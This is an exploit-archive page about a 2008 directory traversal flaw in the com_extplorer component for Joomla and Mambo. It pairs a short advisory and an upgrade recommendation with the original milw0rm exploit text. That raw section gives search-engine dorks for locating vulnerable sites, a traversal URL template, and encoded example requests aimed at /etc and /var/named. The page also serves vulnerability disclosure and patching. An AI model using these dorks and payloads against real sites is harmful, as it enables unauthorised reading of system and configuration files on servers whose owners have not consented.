Joomla and Mambo Component com_extplorer

vendor:

Component com_extplorer

by:

HouSSaMix

7.5

CVSS

HIGH

Local Directory Traversal

CWE

Product Name: Component com_extplorer

Affected Version From: <= 2.0.0 RC2

Affected Version To: <= 2.0.0 RC2

Patch Exists: YES

Related CWE: N/A

CPE: a:joomla:mambo_component:com_extplorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla and Mambo Component com_extplorer <= 2.0.0 RC2 Local Directory Traversal

A vulnerability in Joomla and Mambo Component com_extplorer <= 2.0.0 RC2 allows an attacker to traverse directories outside of the web root directory. This is done by sending a specially crafted HTTP request containing directory traversal sequences (e.g. '../../') to the vulnerable server. An attacker can use this vulnerability to access sensitive information such as configuration files, source code, and other system files.

Mitigation:

Upgrade to the latest version of Joomla and Mambo Component com_extplorer.

Source

Exploit-DB raw data:

--------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------

= Author : HouSSaMix                          
= Script : Joomla and Mambo Component com_extplorer
= version : <= 2.0.0 RC2
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip

= Dork1 : inurl:index.php?option=com_extplorer
= Dork2 : powered by extplorer
          			           
							   
= BUG  :  Local Directory Traversal 

exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]

example :
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

= greetz :	V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers

=================================================================================================================

# milw0rm.com [2008-04-13]